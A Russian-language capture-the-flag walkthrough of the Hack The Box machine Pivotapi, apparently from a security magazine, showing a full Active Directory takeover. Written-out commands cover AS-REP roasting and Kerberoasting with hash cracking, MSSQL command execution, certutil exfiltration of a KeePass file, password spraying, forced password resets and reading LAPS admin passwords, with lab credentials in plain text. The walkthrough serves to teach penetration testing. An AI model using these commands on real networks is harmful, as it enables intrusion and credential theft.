November 11, 2021

HTB Pivotapi. Большой пентест Active Directory

Се­год­ня мы раз­берем «безум­ную» по слож­ности машину с Hack The Box. Она называ­ется Pivotapi и пос­вящена пен­тесту Active Directory. Нам пред­сто­ит занять­ся OSINT, про­вес­ти ата­ку AS-Rep Roasting, деком­пилиро­вать при­ложе­ние на .NET, получить точ­ку опо­ры через эксфиль­тра­цию дан­ных из Microsoft SQL, взло­мать базу KeePass, про­экс­плу­ати­ровать LAPS для повыше­ния при­виле­гий и поюзать BloodHound. Прог­рамма очень плот­ная, начина­ем немед­ля!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.10.240 pivotapi.htb

И ска­ниру­ем пор­ты.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Мы наш­ли мно­го откры­тых пор­тов, давай прой­дем­ся по поряд­ку:

  • 21 — служ­ба FTP (дос­тупен ано­ним­ный вход);
  • 22 — служ­ба SSH;
  • 53 — служ­ба DNS;
  • 88 — служ­ба авто­риза­ции Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC);
  • 139 — служ­ба имен NetBIOS;
  • 389, 636, 3268, 3269 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC над HTTPS);
  • 1433 — Microsoft SQL Server 2019;
  • 9383 — служ­ба шлю­зов управле­ния Active Directory.

В ито­ге мы получа­ем очень важ­ную информа­цию. Во‑пер­вых, мы можем работать со служ­бой FTP без авто­риза­ции, а во‑вто­рых, SQL Server дал нам име­на домена (LICORDEBELLOTA) и текущей машины (PIVOTAPI).

Да­вай ска­чаем все фай­лы с FTP-сер­вера для даль­нейше­го ана­лиза. Сде­лаем это с помощью wget:

wget ftp://pivotapi.htb/*

В докумен­тах ничего важ­ного для прод­вижения не наш­лось, но тема инте­рес­ная — они опи­сыва­ют спо­собы экс­плу­ата­ции раз­личных уяз­вимос­тей. Но, как отме­чает­ся в любом кур­се OSINT (раз­ведка на осно­ве откры­тых источни­ков), если мы смог­ли получить какие‑либо докумен­ты, нас могут заин­тересо­вать метадан­ные, а имен­но атри­буты «соз­датель» и «вла­делец». Из них иног­да мож­но узнать име­на, под­ходящие в качес­тве логинов. Смот­реть эти дан­ные мож­но раз­ными метода­ми, я вос­поль­зуюсь exiftool (уста­нав­лива­ется коман­дой sudo apt install exiftool).

Соз­дав прос­той кон­вей­ер на Bash, получим из всех докумен­тов поля Creator и Author.

exiftool * | grep "Creator\|Author" | awk '{print $3}'

От­кинув сом­нитель­ные записи, мы можем сос­тавить спи­сок из пяти воз­можных имен поль­зовате­лей: saif, byron, cairo, Kaorz, alex.

ТОЧКА ВХОДА. ASREP ROASTING

Так как на хос­те работа­ет Kerberos, мы можем про­верить, сущес­тву­ет ли какая‑то учет­ная запись. В этом нам поможет ата­ка ASRep Roasting. Смысл ее в том, что мы посыла­ем на сер­вер аутен­тифика­ции ано­ним­ный зап­рос для пре­дос­тавле­ния опре­делен­ному поль­зовате­лю дос­тупа к какой‑либо услу­ге. Сер­вер в ответ:

  • пре­дос­тавля­ет хеш;
  • от­веча­ет, что у дан­ного поль­зовате­ля не выс­тавлен флаг UAF Don't Require PreAuth;
  • го­ворит, что такого поль­зовате­ля нет в базе Kerberos.

Вы­пол­нить ата­ку мы можем с помощью скрип­та GetNPUsers, вхо­дяще­го в сос­тав пакета скрип­тов impacket. Зада­ем скрип­ту сле­дующие парамет­ры: кон­трол­лер домена (-dc-ip), спо­соб аутен­тифика­ции Kerberos (-k), опция «без пароля» (-no-pass), спи­сок поль­зовате­лей (-usersfile) и целевой хост в фор­мате домен/хост.

GetNPUsers.py -dc-ip 10.10.10.240 -no-pass -k -usersfile users.txt LICORDEBELLOTA/pivotapi.htb

Нам говорят, что, кро­ме поль­зовате­ля Kaorz, в базе Kerberos боль­ше никого нет, при­чем для учет­ной записи Kaorz сер­вер аутен­тифика­ции вер­нул нам хеш! Давай раз­берем­ся, что это за хеши и почему их раз­дают кому попало.

Де­ло в том, что, ког­да кли­ент посыла­ет сооб­щение c иден­тифика­тором поль­зовате­ля на сер­вер аутен­тифика­ции и зап­рашива­ет дос­туп к услу­ге для какого‑то поль­зовате­ля, сер­вер аутен­тифика­ции смот­рит, есть ли поль­зователь в базе Kerberos, пос­ле чего про­веря­ет его учет­ные дан­ные. Если учет­ные дан­ные невер­ны, сер­вер отве­чает сооб­щени­ем UAF Don’t Require PreAuth.

Но есть одно огра­ниче­ние: у учет­ной записи поль­зовате­ля может быть акти­виро­ван флаг DONT_REQ_PREAUTH, который озна­чает, что для дан­ной учет­ной записи не тре­бует­ся пред­варитель­ная про­вер­ка под­линнос­ти Kerberos. Для это­го поль­зовате­ля учет­ные дан­ные не про­веря­ются и сер­вер аутен­тифика­ции генери­рует сек­ретный ключ, хешируя пароль поль­зовате­ля, най­ден­ный в базе дан­ных. Получа­ется, мы можем проб­рутить хеш и узнать пароль поль­зовате­ля!

Бру­тить хеш будем по сло­варю прог­раммой hashcat. При запус­ке нам нуж­но передать номер типа хеша (параметр -m), поэто­му сна­чала узна­ем его, зап­росив справ­ку и отфиль­тро­вав толь­ко нуж­ный нам тип.

hashcat --example | grep krb5asrep -A2 -B2

Ис­комый номер — 18200. Теперь запус­каем перебор, при этом в парамет­рах ука­зыва­ем перебор по сло­варю (-a 0), тип хеша krb5asrep (-m 18200`), файл с хешем и сло­варь.

hashcat -a 0 -m 18200 hash.krb5asrep ~/wordlists/rockyou.txt

Очень быс­тро находим иско­мый пароль учет­ной записи Kaorz. Так как у нас появи­лись учет­ные дан­ные, нуж­но поп­робовать с ними под­клю­чить­ся ко всем дос­тупным ресур­сам. FTP учет­ных дан­ных не тре­бует, поэто­му про­верим SMB. Для это­го я обыч­но исполь­зую ути­литу smbmap.

smbmap -u Kaorz -p Roper4155 -H 10.10.10.240

В выводе получим спи­сок дос­тупных ресур­сов SMB и раз­решения для каж­дого. Что­бы дол­го не ходить по дирек­тори­ям и не искать инте­рес­ные фай­лы, есть удоб­ная воз­можность вывес­ти все содер­жимое ресур­сов рекур­сивно. Для это­го в smbmap нуж­но ука­зать опцию -R. Про­лис­тав спи­сок, обра­щаем вни­мание на каталог HelpDesk, который содер­жит исполня­емый файл и два фай­ла msg, то есть какие‑то сооб­щения.

smbmap -u Kaorz -p Roper4155 -H 10.10.10.240 -R

Что­бы заполу­чить фай­лы, можем запус­тить любой кли­ент SMB. Я буду исполь­зовать smbclient, пос­коль­ку он тоже вхо­дит в набор impacket.

smbclient.py LicorDeBellota/Kaorz:[email protected]

use NETLOGON

cd HelpDesk

get Restart-OracleService.exe

get Server MSSQL.msg

get WinRM Service.msg

exit

ТОЧКА ОПОРЫ

Конвертация MSG

Файл .msg содер­жит элек­трон­ное пись­мо в фор­мате Microsoft Outlook и вклю­чает дан­ные отпра­вите­ля и получа­теля, тему и текст пись­ма. Так­же в виде фай­ла .msg может быть сох­ранена информа­ция о встре­че или ином событии из кален­даря Outlook, дан­ные кон­такта из адресной кни­ги, све­дения о задаче. Его мож­но кон­верти­ровать в обыч­ный тек­сто­вый фор­мат с помощью ути­литы msgconvert. Но сна­чала ее сле­дует уста­новить.

sudo apt install libemail-outlook-message-perl libemail-sender-perl

msgconvert Server\ MSSQL.msg

msgconvert WinRM\ Service.msg

В пер­вом сооб­щении говорит­ся, что в 2010-е годы была уста­нов­лена база Oracle, но в 2020 году решили перей­ти на MS SQL. При этом най­ден­ное при­ложе­ние Reset-Service.exe было соз­дано для рес­тарта служ­бы Oracle. Что здесь очень важ­но — это фун­кция логина, то есть при­ложе­ние работа­ет с учет­ными дан­ными.

Во вто­ром сооб­щении упо­мина­ется бло­киров­ка служ­бы WinRM и исхо­дяще­го тра­фика по про­токо­лам TCP, UDP и ICMP.

Анализ приложения, использующего вызов CMD

Пе­рей­дем к ана­лизу треть­его фай­ла — исполня­емо­го. Откро­ем его в любом дизас­сем­бле­ре (я исполь­зую IDA Pro) и пер­вым делом гля­нем спи­сок импорти­руемых фун­кций. Это поз­волит нам сос­тавить пер­вое мне­ние об этой прог­рамме и при­мер­но понять, для чего она нуж­на.

Об­ратим вни­мание на фун­кцию ShellExecuteEx, которая дол­жна выпол­нять коман­ды в коман­дной стро­ке. Еще здесь мно­го фун­кций для работы с фай­лами (DeleteFile, CreateFile, GetTempPathW и про­чие). Что­бы наг­лядно отсле­дить работу с фай­лами и запуск команд, акти­виру­ем Process Monitor. Пос­ле запус­ка соз­дадим филь­тр, который будет отсле­живать толь­ко наш целевой про­цесс.

Ког­да все будет готово, запус­тим исполня­емый файл и прос­мотрим вывод Process Monitor.

В событи­ях мы видим соз­дание фай­лов .tmp и запись (ско­рее все­го, копиро­вание) скрип­та .bat. Далее соз­дает­ся про­цесс коман­дно­го интер­пре­тато­ра cmd.exe. А раз он запус­кает­ся, то мы можем вос­поль­зовать­ся CMDWatcher. Эта ути­лита будет при­оста­нав­ливать про­цесс и показы­вать аргу­мен­ты при запус­ке CMD в любых про­цес­сах. Запус­тим CMDWatcher, а потом ана­лизи­руемое при­ложе­ние. Мы уви­дим, как запус­кает­ся при­ложе­ние, а затем — как акти­виру­ется сце­нарий bat.

Прой­дем в дирек­торию с запус­каемым скрип­том и уви­дим в ней сам скрипт и файл с рас­ширени­ем tmp.

Заг­лянем в скрипт. В начале видим про­вер­ку на запуск от име­ни опре­делен­ного поль­зовате­ля. Сра­зу сох­раня­ем себе его имя — при­годит­ся! Затем дан­ные записы­вают­ся в файл C:\programdata\oracle.txt. Кодиров­ка напоми­нает Base64.

Пос­ле записи соз­дает­ся еще один файл — C:\programdata\monta.ps1, он содер­жит код на PowerShell. Этот код счи­тыва­ет дан­ные из фай­ла C:\programdata\oracle.txt, декоди­рует их из Base64 и записы­вает в C:\programdata\restart-service.exe. Затем уда­ляют­ся и файл с дан­ными Base64, и скрипт на PowerShell и запус­кает­ся новосоз­данный исполня­емый файл restart-service.exe. Пос­ле выпол­нения он уда­ляет­ся.

Да­вай получим этот исполня­емый файл для даль­нейше­го ана­лиза. Для это­го нем­ного модер­низиру­ем наш бат­ник: в начале скрип­та убе­рем про­вер­ку поль­зовате­лей, а в кон­це — любые уда­ления фай­лов (коман­да del), убе­рем так­же запуск соз­дающе­гося исполня­емо­го фай­ла.

За­пус­тим изме­нен­ный скрипт, пос­ле чего про­верим каталог C:\programdata, там нас будет ждать файл с дан­ными, скрипт на PowerShell и целевая прог­рамма.

Анализ приложения со скрытыми функциями

Ис­полня­емый файл откры­ваем в IDA Pro, что­бы пос­мотреть импорти­руемые фун­кции. Но там не было ничего инте­рес­ного, а для ста­тичес­кого ана­лиза файл велико­ват. Имен­но по этой при­чине я решил исполь­зовать при­ложе­ние API Monitor. Оно может отоб­ражать все вызовы API-фун­кций вмес­те с переда­ваемы­ми в них аргу­мен­тами.

Пос­ле запус­ка API Monitor нуж­но ука­зать целевой исполня­емый файл, для чего выбира­ем Monitor New Process. В раз­деле спра­ва уви­дим все выз­ванные при­ложе­нием фун­кции.

Час­то вызыва­ется GetProcAddress. Дело в том, что DLL может заг­ружать­ся при­ложе­нием не толь­ко ста­тичес­ки (при запус­ке), но и динами­чес­ки (во вре­мя выпол­нения) с помощью фун­кции LoadLibrary. А для получе­ния адре­са фун­кции в заг­ружен­ной DLL как раз исполь­зует­ся фун­кция GetProcAddress, которая в качес­тве парамет­ра получа­ет имя импорти­руемой фун­кции. Эта тех­ника усложня­ет ста­тичес­кий ана­лиз, а имен­но скры­вает важ­ные фун­кции из таб­лицы импорта.

Да­вай узна­ем, какие фун­кции хотел спря­тать раз­работ­чик. Для это­го необ­ходимо уста­новить филь­тр, что­бы в выводе при­сутс­тво­вали толь­ко фун­кции GetProcAddress. В кон­текс­тном меню выбира­ем Include → API Name.

Сра­зу видим мно­жес­тво фун­кций для работы с реес­тром, но это пока ничего не говорит. Что­бы сло­жить целос­тную кар­тину, прос­мотрим абсо­лют­но все заг­ружа­емые фун­кции (это зай­мет 5–10 минут). Во вре­мя ана­лиза оста­нав­лива­емся на CreateProcessWithLogonW. Это важ­ная фун­кция!

Она соз­дает новый про­цесс и его пер­вичный глав­ный поток. Новый про­цесс затем запус­кает задан­ный исполня­емый файл в кон­тек­сте сис­темы безопас­ности опре­делен­ного поль­зовате­ля. Дело в том, что эта фун­кция при­нима­ет учет­ные дан­ные поль­зовате­ля в качес­тве аргу­мен­тов. Давай най­дем ее вызов, что­бы получить эти парамет­ры. Для это­го выбира­ем в окне Display пункт Add Filter, а затем ука­зыва­ем усло­вие API Name is CreateProcessWithLogonW.

Об­рати вни­мание на парамет­ры lpUsername и lpPassword, где содер­жатся имя поль­зовате­ля и его пароль. Так как это учет­ные дан­ные для сер­вера базы дан­ных, поп­робу­ем на нем и авто­ризо­вать­ся. Увы, моя пер­вая попыт­ка зай­ти как svc_oracle:#oracle_s3rV1c3!2010 про­вали­лась — сер­вер отве­тил, что имя поль­зовате­ля или пароль невер­ные.

Выполнение команд через MS SQL Server

На­ша наход­ка тем не менее небес­полез­на! Изу­чим эти логин и пароль вни­матель­нее. Часть oracle — это исполь­зуемое ПО, а 2010 — год уста­нов­ки. По ана­логии с дан­ными для уже отклю­чен­ной служ­бы Oracle сде­лаем учет­ные дан­ные для MS SQL:

  • поль­зователь по умол­чанию — sa;
  • па­роль скла­дыва­ется по шаб­лону из исполь­зуемой тех­нологии и года уста­нов­ки (которые мы узна­ли из сооб­щения): #mssql_s3rV1c3!2020.

Для под­клю­чения исполь­зуем mssqlclient из пакета скрип­тов impacket.

impacket-mssqlclient [email protected]

Пос­ле под­клю­чения мы можем работать из коман­дной стро­ки, для чего исполь­зуем фун­кцию xp_cmdshell.

ПРОДВИЖЕНИЕ

Первый пользователь — svc_mssql и техника runas

Пер­вым делом получим более удоб­ную обо­лоч­ку, которая к тому же будет иметь фун­кцию заг­рузки фай­лов — mssql_shell. В самом начале скрип­та нам нуж­но уста­новить свои парамет­ры, такие как логин, пароль и адрес хос­та.

Вы­пол­ним код и получим уже более удоб­ную обо­лоч­ку.

Но, поп­робовав заг­рузить любой файл, получа­ем ошиб­ку.

Из лога мы видим пояс­нение, что ошиб­ка про­исхо­дит в стро­ке 52. Сно­ва откры­ваем исходный код и меня­ем позицию, отве­чающую за кодиро­вание Base64, под­клю­чив нуж­ную биб­лиоте­ку.

# Исходная строка

b64enc_data = b"".join(base64.encodestring(data).split()).decode()

# Измененный код

b64enc_data = b"".join(base64.b64encode(data).split()).decode()

За­ново под­клю­чим­ся к хос­ту и пов­торим заг­рузку фай­ла коман­дой UPLOAD. В этот раз она прой­дет успешно.

На хос­те обна­ружим безум­ное количес­тво поль­зовате­лей — аж гла­за раз­бега­ются! Но сре­ди них есть svc_mssql, пароль которо­го нам известен. Одна­ко его домаш­няя дирек­тория нам недос­тупна, так как мы работа­ем не в его кон­тек­сте.

Для выпол­нения команд в кон­тек­сте дру­гого поль­зовате­ля мож­но исполь­зовать кас­томные прог­раммы типа runas. К при­меру, эту реали­зацию прог­раммы на C#, которая запус­кает­ся из PowerShell.

Заг­рузим этот скрипт на уда­лен­ный хост и выпол­ним с помощью PowerShell. В качес­тве парамет­ров переда­ем домен, логин и пароль, а так­же выпол­няемую коман­ду — в нашем слу­чае получе­ние спис­ка фай­лов в домаш­ней дирек­тории поль­зовате­ля.

powershell -c ". .\Invoke-RunasCs.ps1 ; Invoke-RunasCs -Username svc_mssql -Domain LicorDeBellota.htb -Password '#mssql_s3rV1c3!2020' -Command 'dir C:\Users\svc_mssql\Desktop'"

Ко­ман­да выпол­нена успешно, а мы получи­ли путь даль­нейше­го дви­жения.

Второй пользователь — 3v4Si0N и взлом KeePass

В тек­сто­вом фай­ле ска­зано, что нам нуж­но перей­ти с MS SQL на SSH. Вто­рой файл пред­став­ляет собой базу хра­нили­ща паролей KeePass, поэто­му нам нуж­но перенес­ти его на локаль­ный хост и поп­робовать вскрыть. Для эксфиль­тра­ции дан­ных закоди­руем файл в Base64 с помощью certutil, а потом ско­пиру­ем получен­ный текст и декоди­руем уже на локаль­ном хос­те.

# Удаленный хост

powershell -c ". .\Invoke-RunasCs.ps1 ; Invoke-RunasCs -Username svc_mssql -Domain LicorDeBellota.htb -Password '#mssql_s3rV1c3!2020' -Command 'certutil -encode C:\Users\svc_mssql\Desktop\credentials.kdbx C:\Temp\c.txt'"

# Локальный хост

cat creds.kdbx.b64 | base64 -d > credentials.kdbx

Что­бы открыть этот файл, нам нуж­но знать пароль, хеш которо­го есть в фай­ле зашиф­рован­ной базы. Если ты работа­ешь в спе­циали­зиро­ван­ном дис­три­бути­ве вро­де Kali Linux, то у тебя уже есть под рукой набор скрип­тов для извле­чения хешей паролей из фай­лов раз­ных фор­матов.

/usr/sbin/keepass2john credentials.kdbx

А теперь помес­тим этот хеш в файл и перебе­рем его с помощью John the Ripper.

john --wordlist=../tools/rockyou.txt kdbx.hash

Да­лее, если у тебя есть KeePass (а если нет, то ставь его коман­дой apt install keepassx), откры­вай файл и ищи там пароль поль­зовате­ля 3v4Si0n.

Спре­им най­ден­ный пароль для всех поль­зовате­лей по про­токо­лам SSH и SMB с помощью crackmapexec. Пароль подошел как к SSH, так и к SMB, поэто­му авто­ризу­емся и забира­ем пер­вый флаг.

crackmapexec smb pivotapi.htb -u users.txt -p 'Gu4nCh3C4NaRi0N!23' --continue-on-success

crackmapexec ssh pivotapi.htb -u users.txt -p 'Gu4nCh3C4NaRi0N!23' --continue-on-success

Третий пользователь — Dr.Zaiuss и атака Kerberoasting

Ку­да дви­гать­ся даль­ше? Инс­тру­мен­ты вро­де WinPEAS и PowerUp ничего не дали, зна­чит, нуж­на более прод­винутая раз­ведка, в которой не обой­дет­ся без исполь­зования очень кру­той прог­раммы — BloodHound. Она исполь­зует теорию гра­фов для выяв­ления скры­тых и час­то неп­редна­мерен­ных вза­имос­вязей в сре­де Active Directory. Ее мож­но исполь­зовать, что­бы лег­ко най­ти очень слож­ные пути ата­ки, которые ина­че было бы невоз­можно быс­тро иден­тифици­ровать.

BloodHound

Из­началь­но саму наг­рузку, реали­зован­ную на PowerShell или C#, нуж­но было запус­кать на целевом хос­те. Но есть и вер­сия на Python, которую мож­но исполь­зовать пря­мо с Linux. Ска­чаем ее с GitHub и уста­новим:

git clone https://github.com/fox-it/BloodHound.py.git

cd BloodHound.py

python3 setup.py install

А теперь соберем информа­цию с целево­го хос­та, бла­го это не зай­мет мно­го вре­мени. В парамет­рах ука­зыва­ем учет­ные дан­ные для под­клю­чения, адрес хос­та и тип собира­емой информа­ции — нам нуж­на вся (параметр -c, зна­чение all).

bloodhound-python -d LicorDeBellota.htb -u 3v4Si0N -p 'Gu4nCh3C4NaRi0N!23' -gc pivotapi.licordebellota.htb -c all -ns 10.10.10.240

В логах видим, сколь­ко доменов, лесов и компь­юте­ров най­дено, сколь­ко поль­зовате­лей и групп получе­но. В резуль­тате работы BloodHound в текущей дирек­тории появит­ся нес­коль­ко фай­лов. Для работы с ними нуж­но уста­новить СУБД Neo4j и гра­фичес­кую оснас­тку bloodhound, которая будет рисовать гра­фы свя­зей.

sudo apt install neo4j bloodhound

За­пус­тим уста­нов­ленную СУБД коман­дой sudo neo4j console.

Пос­ле сооб­щения об успешном стар­те зай­дем на http://localhost:7474/ через бра­узер. Нам сра­зу пред­ложат уста­новить пароль. Дела­ем это, запус­каем BloodHound (коман­да bloodhound в коман­дной стро­ке) и авто­ризу­емся с толь­ко что уста­нов­ленным паролем. Ког­да откро­ется пус­тое окош­ко, закиды­ваем в него фай­лы, получен­ные в резуль­тате работы bloodhound-python. А затем в гра­фе поис­ка ука­зыва­ем груп­пу поль­зовате­лей. На экра­не будут отоб­ражены все поль­зовате­ли из этой груп­пы.

Най­дем в этом спис­ке всех поль­зовате­лей, кон­троль над которы­ми мы уже име­ем: Kaorz, svc_mssql, 3v4Si0N. Пос­ле выбора это­го поль­зовате­ля в кон­текс­тном меню помеча­ем его как уже под­кон­троль­ного — Mark User as Owned. На икон­ке поль­зовате­ля дол­жен появить­ся череп. Затем прой­дем в гра­фу ана­лити­ки и поп­росим BloodHound най­ти путь прод­вижения к дру­гим поль­зовате­лям от уже взло­ман­ных — опция Shortest Path from Owned Principals. Так мы получим мар­шрут от поль­зовате­ля 3v4Si0N.

Мы видим, что объ­ект 3V4SI0N име­ет пра­во GenericAll на объ­ект DR.ZAIUSS. Эта при­виле­гия озна­чает пол­ный кон­троль одно­го объ­екта над дру­гим, что поз­воля­ет манипу­лиро­вать свой­ства­ми под­кон­троль­ного объ­екта. Два популяр­ных вари­анта в этом слу­чае — ата­ка Kerberoasting или сме­на пароля целевой учет­ной записи. Мы пой­дем по пер­вому пути.

Атака Kerberoasting

Эта ата­ка воз­можна потому, что мы можем уста­новить объ­екту целевой учет­ной записи SPN-имя. Реали­зация про­токо­ла Kerberos в Windows исполь­зует име­на учас­тни­ков служ­бы (SPN) для опре­деле­ния того, какую учет­ную запись задей­ство­вать для шиф­рования билета служ­бы. В Active Directory сущес­тву­ет два вари­анта SPN: SPN на осно­ве хос­та и про­изволь­ные SPN. Пер­вый вари­ант SPN свя­зан с учет­ной записью компь­юте­ра домена, а вто­рой обыч­но (но не всег­да) — с учет­кой поль­зовате­ля домена.

Про­ще говоря, в слу­чае зап­роса билета он будет зашиф­рован паролем учет­ной записи, SPN которой было пре­дос­тавле­но. А мы можем уста­новить SPN для этой учет­ной записи, тем самым вынудив шиф­ровать билет паролем учет­ной записи Dr.Zaiuss. Затем мы его прос­то проб­рутим.

Что­бы удоб­нее манипу­лиро­вать свой­ства­ми объ­ектов Active Directory, заг­рузим на хост PowerView с помощью scp.

scp PowerView.ps1 '[email protected]:C:\Users\3v4Si0N\Documents'

А затем наз­начим для под­кон­троль­ной учет­ной записи любое SPN, к при­меру nonexistent/RALF.

powershell -c ". .\PowerView.ps1; Set-DomainObject -Identity Dr.Zaiuss -SET @{serviceprincipalname='nonexistent/RALF'}"

Про­верить уста­нов­ленное SPN мож­но сле­дующей коман­дой. Она зап­росит все SPN из домена.

powershell -c ". .\PowerView.ps1; Get-NetUser -SPN | select samaccountname,serviceprincipalname"

SPN уста­нов­лено, и приш­ло вре­мя получить билет. Я это сде­лаю уда­лен­но с помощью пакета скрип­тов impacket. При под­клю­чении тре­буют­ся учет­ные дан­ные поль­зовате­ля домена.

GetUserSPNs.py -request -dc-ip pivotapi.htb LicorDeBellota.htb/3v4Si0N

Дан­ный билет лег­ко бру­тит­ся с помощью hashcat, для это­го нуж­но лишь ука­зать режим 13100 (параметр -m).

hashcat -a 0 -m 13100 ./kerb.hash ../tools/rockyou.txt

Так мы берем под кон­троль еще одно­го поль­зовате­ля. Не забыва­ем отме­тить это в BloodHound.

Четвертый пользователь — superfume и password spraying

Сно­ва при­меня­ем най­ден­ный пароль для всех поль­зовате­лей. При перебо­ре SSH ничего най­ти не уда­лось, а вот в слу­чае с SMB пароль подошел даже к двум поль­зовате­лям!

crackmapexec smb pivotapi.htb -u users.txt -p 'qwe123QWE!@#' --continue-on-success

Ос­талось толь­ко понять, как авто­ризо­вать­ся от лица это­го поль­зовате­ля, ведь к SSH пароль не подошел. Одна­ко поль­зователь явля­ется чле­ном груп­пы WinRM, о чем нам говорит граф свя­зей BloodHound.

На­хож­дение в этой груп­пе поз­воля­ет нам получить управле­ние через PSSession пря­мо с уда­лен­ной машины.

$pass = ConvertTo-SecureString 'qwe123QWE!@#' -AsPlainText -Force

$cred = new-object System.Management.Automation.PSCredential('superfume', $pass)

$session = New-PSSession -ComputerName 127.0.0.1 -Credential $cred -Authentication Negotiate

Enter-PSSession $session

Пятый пользователь — jari и декомпиляция .NET

Сре­ди групп поль­зовате­ля так­же есть и груп­па Developers. В кор­не дис­ка C: есть дирек­тория с тем же наз­вани­ем, дос­тупная толь­ко этой груп­пе. Там лежат катало­ги двух поль­зовате­лей: superfume и jari. В сво­ем мы ничего не находим, а вот у дру­гого поль­зовате­ля есть исполня­емый файл, ско­рее все­го написан­ный на C#. Сра­зу прос­мотрим этот код, вдруг най­дем еще какие‑нибудь учет­ные дан­ные.

Мы все же находим мес­то, где мог бы быть пароль. Но его там нет. Но воз­можно, это про­тотип, а не финаль­ное при­ложе­ние. К тому же прог­раммы на C# очень лег­ко деком­пилиру­ются, поэто­му не будем упус­кать такую воз­можность. Для деком­пиляции и ана­лиза советую исполь­зовать dnSpy. Я перешел на вир­туаль­ную машину Windows, запус­тил dnSpy и заг­рузил в нее бинар­ный файл. В самом начале прог­раммы находим какую‑то стро­ку.

Вряд ли это пароль, но все рав­но сох­раним. Сра­зу за этой стро­кой рас­положен мас­сив дан­ных, который под­лежит рас­шифров­ке по алго­рит­му RC4. И у нас есть воз­можность прос­мотреть стро­ку пос­ле того, как про­цесс будет закон­чен. Для это­го уста­нав­лива­ем точ­ку оста­нова на стро­ке с фун­кци­ей Decrypt и запус­каем отладку при­ложе­ния.

Пе­реша­гива­ем через эту фун­кцию и в таб­лице локаль­ных перемен­ных получа­ем рас­шифро­ван­ный мас­сив.

Ско­пиру­ем его и исполь­зуем код на Python, что­бы пред­ста­вить чис­ла в виде сим­волов.

Мы получа­ем какую‑то стро­ку. Сно­ва запус­тим спре­ить­ся най­ден­ный пароль.

crackmapexec smb pivotapi.htb -u users.txt -p 'Cos@Chung@!RPG' --continue-on-success

И, как и ожи­далось, зах­ватим поль­зовате­ля jary. Для получе­ния управле­ния получим сес­сию PowerShell уже зна­комым нам спо­собом.

$pass = ConvertTo-SecureString 'Cos@Chung@!RPG' -AsPlainText -Force

$cred = new-object System.Management.Automation.PSCredential('jari', $pass)

$session = New-PSSession -ComputerName 127.0.0.1 -Credential $cred -Authentication Negotiate

Enter-PSSession $session

Шестой пользователь — gibdeon

Пос­ле получе­ния кон­тро­ля над новым поль­зовате­лем не забыва­ем отме­тить наше дос­тижение в BloodHound.

Пос­ле перес­тро­ения гра­фа обна­ружим новый путь к зах­вату еще одно­го поль­зовате­ля. Это воз­можно, потому что у нас есть пра­во на сброс и изме­нение пароля (ForceChangePassword) поль­зовате­ля gibdeon.

Да­вай изме­ним свой­ство AccountPassword объ­екта GIBDEON, исполь­зуя PowerView. В качес­тве пароля уста­новим Password123!.

$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

Set-DomainUserPassword -Identity GIBDEON -AccountPassword $UserPassword

Пос­ле изме­нения пароля про­верим его для служб SSH и SMB.

Мы можем выпол­нять коман­ды от име­ни текуще­го поль­зовате­ля.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Зах­ватили нового поль­зовате­ля — отме­тили это в BloodHound и перес­тро­или граф.

На этот раз BloodHound пос­тро­ил мар­шрут к кон­тек­сту с высоки­ми при­виле­гиями за счет пароля LAPS. Груп­па, в которой мы находим­ся, име­ет при­виле­гии на управле­ние груп­пой LAPS READ. Добавим себя в эту груп­пу.

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('LicorDeBellota.htb\GIBDEON', $SecPassword)

Add-DomainGroupMember -Identity 'Laps Read' -Members 'Gibdeon' -Credential $Cred

И сра­зу про­верим чле­нов этой груп­пы.

Get-DomainGroupMember -Identity 'Laps Read'

Как видишь, наш поль­зователь был добав­лен в целевую груп­пу.

LAPS

LAPS (Local Administrator Password Solution) поз­воля­ет цен­тра­лизо­ван­но управлять пароля­ми адми­нис­тра­торов на всех компь­юте­рах домена и хра­нить информа­цию о пароле и дате его сме­ны непос­редс­твен­но в объ­ектах типа Computer в Active Directory. И наша новая груп­па дает нам воз­можность про­читать этот пароль адми­нис­тра­тора.

Get-DomainObject pivotapi -Credential $Cred -Properties "ms-mcs-AdmPwd",name

Мы получи­ли пароль локаль­ного адми­на и исполь­зуем psexec, что­бы окон­чатель­но зах­ватить хост.

psexec.py [email protected]

Мы наконец‑то покори­ли эту машину!